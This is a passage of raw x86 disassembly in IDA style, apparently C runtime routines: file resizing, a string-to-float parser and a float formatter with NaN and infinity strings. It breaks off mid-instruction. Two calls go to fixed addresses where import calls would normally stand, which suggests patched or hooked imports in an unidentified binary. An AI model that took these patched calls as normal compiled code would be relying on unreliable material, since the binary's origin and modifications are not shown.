loc_424E97: ; CODE XREF: sub_424E01+48j push [ebp+arg_0] loc_424E9A: ; CODE XREF: sub_424E01+ABj push 0 push edi call sub_41B590 add esp, 0Ch loc_424EA5: ; CODE XREF: sub_424E01+7Ej ; sub_424E01+87j mov eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DC5A0, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DB598 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DB598 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DC5A0 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DC6C0 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB27C, 5 jnz short loc_424FDC mov dword_4DB278, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax nop call near ptr 25F0000h mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB278, 0Dh nop call near ptr 26709C5h mov dword_4DB27C, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB278, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43C508 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43C508 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43C508 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43C504, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43C508 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43C504, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43C504, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43C504, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43C504, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop 